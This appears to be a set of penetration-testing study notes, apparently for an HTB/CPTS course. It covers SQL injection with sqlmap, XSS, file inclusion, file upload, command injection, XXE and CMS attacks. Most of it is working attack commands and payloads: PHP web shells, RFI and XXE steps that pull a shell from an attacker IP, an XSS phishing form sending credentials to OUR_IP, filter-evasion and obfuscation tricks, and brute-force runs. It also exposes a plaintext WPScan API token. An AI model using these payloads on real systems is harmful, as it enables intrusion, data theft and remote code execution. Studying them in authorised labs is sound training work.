```shell-session
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
```

Dump a table:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
```

Specify columns with `-C`:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
```

Narrow rows with `--start` / `--stop`:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
```

Use a `WHERE` condition:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
```

Retrieve the full schema with `--schema`:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --schema
```

Search for tables containing `user`:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --search -T user
```

Search for columns containing `pass`:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --search -C pass
```

Dump the identified table:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users
```

Example targeted dump:

```bash
qlmap -u http://94.237.61.88:35003/case1.php?id=1  -D testdb -T users --dump -C name,password --batch --level=5 --risk=3 --no-cast --where "name LIKE '%Kimberly%'"
```

Reading Local Files:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
```

Writing Local Files:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
```

Access the remote PHP shell:

```shell-session
curl http://www.example.com/shell.php?cmd=ls+-la
```

OS Command Execution:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --os-shell
```

Specify an error-based technique for direct output:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
```

***

### Cross-Site Scripting (XSS)

| Type                             | Description                                                                                                                 |
| -------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| `Stored (Persistent) XSS`        | The most critical type; user input is stored in the back-end database and displayed on retrieval (e.g., posts or comments). |
| `Reflected (Non-Persistent) XSS` | User input is displayed after being processed by the backend server, but not stored (e.g., search result or error message). |
| `DOM-based XSS`                  | Non-Persistent XSS processed entirely client-side, without reaching the back-end server.                                    |

Source & Sink — the `Source` is the JavaScript object that takes user input; the `Sink` is the function that writes it to a DOM object. Common sink functions: `document.write()`, `DOM.innerHTML`, `DOM.outerHTML`. jQuery sink functions: `add()`, `after()`, `append()`.

`innerHTML` does not allow `<script>` tags — use a payload without them:

```html
<img src="" onerror=alert(window.origin)>
```

XSS discovery tools: [XSS Strike](https://github.com/s0md3v/XSStrike), [Brute XSS](https://github.com/rajeshmajumdar/BruteXSS), [XSSer](https://github.com/epsylon/xsser).

```shell-session
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py
```

Run against a URL with a parameter:

```shell-session
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
```

Manual testing resources: <https://github.com/payloadbox/> · <https://github.com/swisskyrepo/PayloadsAllTheThings>

Using XSS for phishing:

```javascript
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
```

DOMPurify is a DOM-only XSS sanitizer for HTML, MathML and SVG — <https://github.com/cure53/DOMPurify>

***

### File Inclusion (LFI/RFI)

<https://x3m1sec.gitbook.io/notes/my-certifications/cpts>

Functions that may execute files vs. only read file content:

| **Function**                 | **Read Content** | **Execute** | **Remote URL** |
| ---------------------------- | :--------------: | :---------: | :------------: |
| **PHP**                      |                  |             |                |
| `include()`/`include_once()` |         ✅        |      ✅      |        ✅       |
| `require()`/`require_once()` |         ✅        |      ✅      |        ❌       |
| `file_get_contents()`        |         ✅        |      ❌      |        ✅       |
| `fopen()`/`file()`           |         ✅        |      ❌      |        ❌       |
| **NodeJS**                   |                  |             |                |
| `fs.readFile()`              |         ✅        |      ❌      |        ❌       |
| `fs.sendFile()`              |         ✅        |      ❌      |        ❌       |
| `res.render()`               |         ✅        |      ✅      |        ❌       |
| **Java**                     |                  |             |                |
| `include`                    |         ✅        |      ❌      |        ❌       |
| `import`                     |         ✅        |      ✅      |        ✅       |
| **.NET**                     |                  |             |                |
| `@Html.Partial()`            |         ✅        |      ❌      |        ❌       |
| `@Html.RemotePartial()`      |         ✅        |      ❌      |        ✅       |
| `Response.WriteFile()`       |         ✅        |      ❌      |        ❌       |
| `include`                    |         ✅        |      ✅      |        ✅       |

[PHP Filters](https://www.php.net/manual/en/filters.php) are a type of PHP wrapper accessed via `php://filter/`.

#### Remote Code Execution via Wrappers

`data` wrapper (needs `allow_url_include`):

```shell-session
echo '<?php system($_GET["cmd"]); ?>' | base64
```

```
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```

> *\[Screenshot: Pasted image 20251112105926.png]*

Confirm `allow_url_include` is enabled by reading the PHP config:

```shell-session
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
```

`input` wrapper (POST data, needs `allow_url_include`):

```shell-session
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
```

`expect` wrapper (needs PHP `expect` module):

```shell-session
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" | grep uid
```

An LFI is not necessarily an RFI because: the vulnerable function may not allow remote URLs; you may only control a portion of the filename; or the config may disable RFI.

#### Remote Code Execution with RFI

Create a malicious script:

```shell-session
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

Host it:

```shell-session
sudo python3 -m http.server <LISTENING_PORT>
```

Include our remote shell:

```
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

Host via FTP (useful if HTTP is blocked):

```shell-session
sudo python -m pyftpdlib -p 21
```

```
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
```

With FTP authentication:

```shell-session
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
```

On a Windows server, RFI via SMB doesn't need `allow_url_include`. Spin up an SMB server:

```shell-session
impacket-smbserver -smb2support share $(pwd)
```

Include via UNC path:

```
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
```

#### LFI via zip\:// and phar:// Wrappers

`zip` wrapper — create a PHP shell zipped into `shell.jpg`:

```shell-session
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

```
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
```

`phar` wrapper — write `shell.php`:

```php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
```

Compile into a phar file and rename to `shell.jpg`:

```shell-session
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

```
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
```

#### PHP Session Poisoning

> *\[Screenshot: Pasted image 20260111000513.png]*

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
```

```url
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
```

#### Automated Scanning

Fuzzing Parameters:

```shell-session
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
```

**Tip:** limit scans to the most popular LFI parameters — see [this list](https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html#top-25-parameters).

Fuzz the `?language=` parameter with [LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt):

```shell-session
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
```

Fuzz for `index.php` through common webroot paths:

```shell-session
ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
```

Precise scan with [DragonJAR Linux wordlist](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux) / [Windows](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows):

```shell-session
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
```

Read a discovered file (e.g. apache config):

```shell-session
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
```

Common LFI tools: [LFISuite](https://github.com/D35m0nd142/LFISuite), [LFiFreak](https://github.com/OsandaMalith/LFiFreak), [liffy](https://github.com/mzfr/liffy).

#### File Inclusion Prevention

Recursively remove directory-traversal attempts:

```php
while(substr_count($input, '../', 0)) {
    $input = str_replace('../', '', $input);
};
```

Disable remote file inclusion globally: set `allow_url_fopen` and `allow_url_include` to Off. Lock the app to its web root — via `Docker` or `open_basedir = /var/www` in php.ini. Disable dangerous modules like [PHP Expect](https://www.php.net/manual/en/wrappers.expect.php) and [mod\_userdir](https://httpd.apache.org/docs/2.4/mod/mod_userdir.html).

***

### File Upload Attacks

Good web shells online: [phpbash](https://github.com/Arrexel/phpbash) provides a terminal-like, semi-interactive PHP web shell.

Generating Custom Reverse Shell Scripts:

```shell-session
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
```

File upload bypass references: <https://github.com/Az0x7/vulnerability-Checklist/blob/main/File%20Upload/File%20Upload.md> · <https://cicadasec.medium.com/malicious-file-upload-checklist-24e0b764de95> · <https://medium.com/@ryangcox/web-shell-upload-via-extension-blacklist-bypass-file-upload-vulnerability-f98ee877aff1>

#### Extension Whitelist Bypass (Regex Flaw)

```php
$fileName = basename($_FILES["uploadFile"]["name"]);
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}
```

The regex only checks that the filename `contains` the extension, not that it `ends` with it.

#### Character Injection

Characters to try injecting: `%20`, `%0a`, `%00`, `%0d0a`, `/`, `.\`, `.`, `…`, `:`.

Generate permutations before/after the PHP and JPG extensions:

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
```

#### Content-Type / MIME Filters

Content-Type header validation example:

```php
$type = $_FILES['uploadFile']['type'];
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}
```

Fuzz the Content-Type header with SecLists' [Content-Type Wordlist](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt):

```shell-session
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
```

```shell-session
cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
```

MIME-Type — determined via general format and byte structure. See [file signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) · [magic.mime](https://web.archive.org/web/20240522030920/https://opensource.apple.com/source/file/file-23/file/magic/magic.mime).

```php
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}
```

#### SVG-Based Attacks (XSS & XXE)

XSS via SVG (`HTB.svg`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

XXE via SVG to leak `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

XXE to read PHP source:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

#### Preventing File Upload

```php
$fileName = basename($_FILES["uploadFile"]["name"]);
// blacklist test
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
    echo "Only images are allowed";
    die();
}
// whitelist test
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
    echo "Only images are allowed";
    die();
}
```

Validate extension (whitelist) plus File Signature and Content-Type, ensuring they match:

```php
$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// whitelist test
if (!preg_match('/^.*\.png$/', $fileName)) {
    echo "Only PNG images are allowed";
    die();
}
// content test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!in_array($type, array('image/png'))) {
        echo "Only PNG images are allowed";
        die();
    }
}
```

***

### Command Injections

Injection operators:

| **Injection Operator** | **Injection Character** | **URL-Encoded Character** | **Executed Command**                       |
| ---------------------- | ----------------------- | ------------------------- | ------------------------------------------ |
| Semicolon              | `;`                     | `%3b`                     | Both                                       |
| New Line               | `\n`                    | `%0a`                     | Both                                       |
| Background             | `&`                     | `%26`                     | Both (second output generally shown first) |
| Pipe                   | `\|`                    | `%7c`                     | Both (only second output is shown)         |
| AND                    | `&&`                    | `%26%26`                  | Both (only if first succeeds)              |
| OR                     | `\|\|`                  | `%7c%7c`                  | Second (only if first fails)               |
| Sub-Shell              | \`\`                    | `%60%60`                  | Both **(Linux-only)**                      |
| Sub-Shell              | `$()`                   | `%24%28%29`               | Both **(Linux-only)**                      |

Try the TAB character instead of space as well.

Common operators per injection type:

| **Injection Type**                      | **Operators**                                     |
| --------------------------------------- | ------------------------------------------------- |
| SQL Injection                           | `'` `,` `;` `--` `/* */`                          |
| Command Injection                       | `;` `&&`                                          |
| LDAP Injection                          | `*` `(` `)` `&` `\|`                              |
| XPath Injection                         | `'` `or` `and` `not` `substring` `concat` `count` |
| OS Command Injection                    | `;` `&` `\|`                                      |
| Code Injection                          | `'` `;` `--` `/* */` `$()` `${}` `#{}` `%{}` `^`  |
| Directory Traversal/File Path Traversal | `../` `..\\` `%00`                                |
| Object Injection                        | `;` `&` `\|`                                      |
| XQuery Injection                        | `'` `;` `--` `/* */`                              |
| Shellcode Injection                     | `\x` `\u` `%u` `%n`                               |
| Header Injection                        | `\n` `\r\n` `\t` `%0d` `%0a` `%09`                |

Blacklist filter example:

```php
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
    if (strpos($_POST['ip'], $character) !== false) {
        echo "Invalid input";
    }
}
```

#### Bypassing Space Filters

Use the `${IFS}` variable (default value is space/tab), e.g. `127.0.0.1%0a${IFS}`:

```shell-session
echo ${PATH:0:1}
/
```

```shell-session
echo ${LS_COLORS:10:1}
;
```

Use environment-variable substrings to build a semicolon + space, e.g. `127.0.0.1${LS_COLORS:10:1}${IFS}`:

> *\[Screenshot: Pasted image 20260118064528.png]*

Windows equivalents:

```cmd-session
echo %HOMEPATH:~6,-11%
\
```

```powershell-session
PS C:\htb> $env:HOMEPATH[0]
\
PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>
```

#### Bypassing Blacklisted Commands

Insert quotes (works on Linux and Windows; don't mix quote types; use an even number):

```shell-session
w'h'o'am'i
```

```shell-session
w"h"o"am"i
```

```
127.0.0.1%0aw'h'o'am'i
```

Windows caret (`^`):

```cmd-session
who^ami
```

Command used to get the flag:

```
127.0.0.1%0a{c'a't,${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}
```

Case Manipulation:

```shell-session
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
```

Replace spaces with tabs (`%09`) since space is filtered.

Reversed Commands (Linux):

```shell-session
echo 'whoami' | rev
```

Windows reverse a string:

```powershell-session
"whoami"[-1..-20] -join ''
```

Execute a reversed string with a PowerShell sub-shell:

```powershell-session
iex "$('imaohw'[-1..-20] -join '')"
```

Encoded Commands:

```shell-session
echo -n 'cat /etc/passwd | grep 33' | base64
```

Decode in a sub-shell and pipe to bash:

```shell-session
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```

Windows base64 encode:

```powershell-session
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
```

Linux — convert utf-8 to utf-16 before base64:

```shell-session
echo -n whoami | iconv -f utf-8 -t utf-16le | base64
```

Decode and execute with a PowerShell sub-shell:

```powershell-session
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
```

Evasion Tools — [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator):

```shell-session
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user
```

Windows [DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation):

```powershell-session
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
```

```powershell-session
SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
encoding
1
```

***

### Web Attacks (Verb Tampering, IDOR, XXE)

#### 1 — HTTP Verb Tampering

HTTP has [9 verbs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods):

* [`GET`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/GET) — requests a representation of the specified resource (retrieve data only).
* [`HEAD`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/HEAD) — identical to GET but without a response body.
* [`POST`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/POST) — submits an entity to the specified resource.
* [`PUT`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/PUT) — replaces all current representations of the target resource.
* [`DELETE`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/DELETE) — deletes the specified resource.
* [`CONNECT`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/CONNECT) — establishes a tunnel to the server.
* [`OPTIONS`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/OPTIONS) — describes the communication options for the target resource.
* [`TRACE`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/TRACE) — performs a message loop-back test.
* [`PATCH`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods/PATCH) — applies partial modifications to a resource.

Enumerate allowed methods:

```shell-session
curl -i -X OPTIONS http://SERVER_IP:PORT/
```

#### 2 — IDOR

Insecure Direct Object Reference — manipulate object identifiers (e.g. `id`, `uid`) to access data belonging to other users.

#### 3 — XXE

| Key           | Definition                                                       | Example                                  |
| ------------- | ---------------------------------------------------------------- | ---------------------------------------- |
| `Tag`         | The keys of an XML document, wrapped with `<`/`>`.               | `<date>`                                 |
| `Entity`      | XML variables, wrapped with `&`/`;`.                             | `&lt;`                                   |
| `Element`     | Root or child element; value is between a start-tag and end-tag. | `<date>01-01-2022</date>`                |
| `Attribute`   | Optional specifications stored in tags.                          | `version="1.0"`/`encoding="UTF-8"`       |
| `Declaration` | Usually the first line; defines XML version and encoding.        | `<?xml version="1.0" encoding="UTF-8"?>` |

Structural characters (`<`, `>`, `&`, `"`) must be replaced with entity references (`&lt;`, `&gt;`, `&amp;`, `&quot;`). Comments go between `<!--` and `-->`.

`XML Document Type Definition (DTD)` example:

```xml
<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
```

JSON → XML converter: <https://www.convertjson.com/json-to-xml.htm>

If a plain file read doesn't work, use PHP filters to base64-encode the resource so it doesn't break the XML:

```xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
```

Remote Code Execution with XXE — look for ssh keys, use hash-stealing on Windows, or the `PHP://expect` filter (needs the expect module). The most efficient RCE is to fetch a web shell:

```shell-session
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
```

XML to curl our web shell onto the remote server:

```xml
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
```

Use the `CDATA` tag to exfiltrate source:

```xml
<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>
```

Automate blind XXE with [XXEinjector](https://github.com/enjoiz/XXEinjector):

```shell-session
git clone https://github.com/enjoiz/XXEinjector.git
```

Copy the HTTP request from Burp; include only the first line plus `XXEINJECT` as the position locator:

```http
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
```

Run the tool for OOB exfiltration:

```shell-session
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
```

Exfiltrated files are stored in the `Logs` folder (base64-encoded):

```shell-session
cat Logs/10.129.201.94/etc/passwd.log 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..
```

***

### Attacking Common Applications

Web applications we encounter as pentesters include CMS, custom apps, intranet portals, code repositories, network monitoring tools, ticketing systems, wikis, servlet containers, and more.

Application categories ([enlyft data](https://enlyft.com/tech/)):

| **Category**                                                                                     | **Applications**                                                       |
| ------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------- |
| [Web Content Management](https://enlyft.com/tech/web-content-management)                         | Joomla, Drupal, WordPress, DotNetNuke, etc.                            |
| [Application Servers](https://enlyft.com/tech/application-servers)                               | Apache Tomcat, Phusion Passenger, Oracle WebLogic, IBM WebSphere, etc. |
| [SIEM](https://enlyft.com/tech/security-information-and-event-management-siem)                   | Splunk, Trustwave, LogRhythm, etc.                                     |
| [Network Management](https://enlyft.com/tech/network-management)                                 | PRTG Network Monitor, ManageEngine Opmanger, etc.                      |
| [IT Management](https://enlyft.com/tech/it-management-software)                                  | Nagios, Puppet, Zabbix, ManageEngine ServiceDesk Plus, etc.            |
| [Software Frameworks](https://enlyft.com/tech/software-frameworks)                               | JBoss, Axis2, etc.                                                     |
| [Customer Service Management](https://enlyft.com/tech/customer-service-management)               | osTicket, Zendesk, etc.                                                |
| [Search Engines](https://enlyft.com/tech/search-engines)                                         | Elasticsearch, Apache Solr, etc.                                       |
| [Software Configuration Management](https://enlyft.com/tech/software-configuration-management)   | Atlassian JIRA, GitHub, GitLab, Bugzilla, Bugsnag, Bitbucket, etc.     |
| [Software Development Tools](https://enlyft.com/tech/software-development-tools)                 | Jenkins, Atlassian Confluence, phpMyAdmin, etc.                        |
| [Enterprise Application Integration](https://enlyft.com/tech/enterprise-application-integration) | Oracle Fusion Middleware, BizTalk Server, Apache ActiveMQ, etc.        |

#### Screenshotting at Scale — EyeWitness & Aquatone

Install EyeWitness:

```shell-session
sudo apt install eyewitness
```

Run the default `--web` option using an Nmap XML:

```shell-session
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
```

[Aquatone](https://github.com/michenriksen/aquatone) — download the precompiled binary:

```shell-session
wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
```

```shell-session
unzip aquatone_linux_amd64_1.7.0.zip
```

```shell-session
cat web_discovery.xml | ./aquatone -nmap
```

#### WordPress

Enumeration:

```shell-session
curl -s http://blog.inlanefreight.local | grep WordPress
```

```shell-session
curl -s http://blog.inlanefreight.local/ | grep themes
```

```shell-session
curl -s http://blog.inlanefreight.local/ | grep plugins
```

[WPScan](https://github.com/wpscanteam/wpscan) — automated WordPress scanner (get an API token from [WPVulnDB](https://wpvulndb.com/)):

```shell-session
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token 2QQvOIhUL6Tt9VPJEXQm4QfTBG20bBprbm2sRYnaFNE
```

Login brute forcing ([xmlrpc](https://kinsta.com/blog/xmlrpc-php/) or wp-login):

```shell-session
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
```

Edit a theme page (e.g. `404.php`) to add a web shell:

```php
system($_GET[0]);
```

Interact with the web shell:

```shell-session
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
```

The [wp\_admin\_shell\_upload](https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_admin_shell_upload/) Metasploit module:

```shell-session
use exploit/unix/webapp/wp_admin_shell_upload
```

Vulnerable plugins — [mail-masta](https://wordpress.org/plugins/mail-masta/) ([unauthenticated SQLi](https://www.exploit-db.com/exploits/41438), [LFI](https://www.exploit-db.com/exploits/50226)):

```shell-session
curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
```

[wpDiscuz](https://wpdiscuz.com/) 7.0.4 RCE ([exploit](https://www.exploit-db.com/exploits/49967)):

```shell-session
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
```

Use cURL with `?cmd=` after `.php` if the script fails:

```shell-session
curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id
```

#### Joomla

```shell-session
curl -s http://dev.inlanefreight.local/ | grep Joomla
```

```shell-session
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
```

Fingerprint the version:

```shell-session
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
```

[droopescan](https://github.com/droope/droopescan):

```shell-session
sudo pip3 install droopescan
```

```shell-session
droopescan scan joomla --url http://dev.inlanefreight.local/
```

[JoomlaScan](https://github.com/drego85/JoomlaScan) (needs Python 2.7):

```bash
curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7
```

```bash
python2.7 -m pip install urllib3
python2.7 -m pip install certifi
python2.7 -m pip install bs4
```

```shell-session
python2.7 joomlascan.py -u http://dev.inlanefreight.local
```

Brute force login with <https://github.com/ajnik/joomla-bruteforce>:

```shell-session
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
```

If you get "An error has occurred. Call to a member function format() on null" after login, disable the "Quick Icon - PHP Version Check" plugin at `http://dev.inlanefreight.local/administrator/index.php?option=com_plugins`.

Edit `error.php` to add a PHP one-liner:

```php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
```

Confirm code execution:

```shell-session
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id
```

[CVE-2019-10945](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945) directory traversal ([exploit](https://www.exploit-db.com/exploits/46710)):

```shell-session
python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
```

#### Drupal

```shell-session
curl -s http://drupal.inlanefreight.local | grep Drupal
```

```shell-session
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
```

Scan with `droopescan`:

```shell-session
droopescan scan drupal -u http://drupal.inlanefreight.local
```

PHP filter webshell (from Drupal 8 on, install the [PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1) module):

```php
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>
```

```shell-session
curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"
```

Download the PHP Filter module:

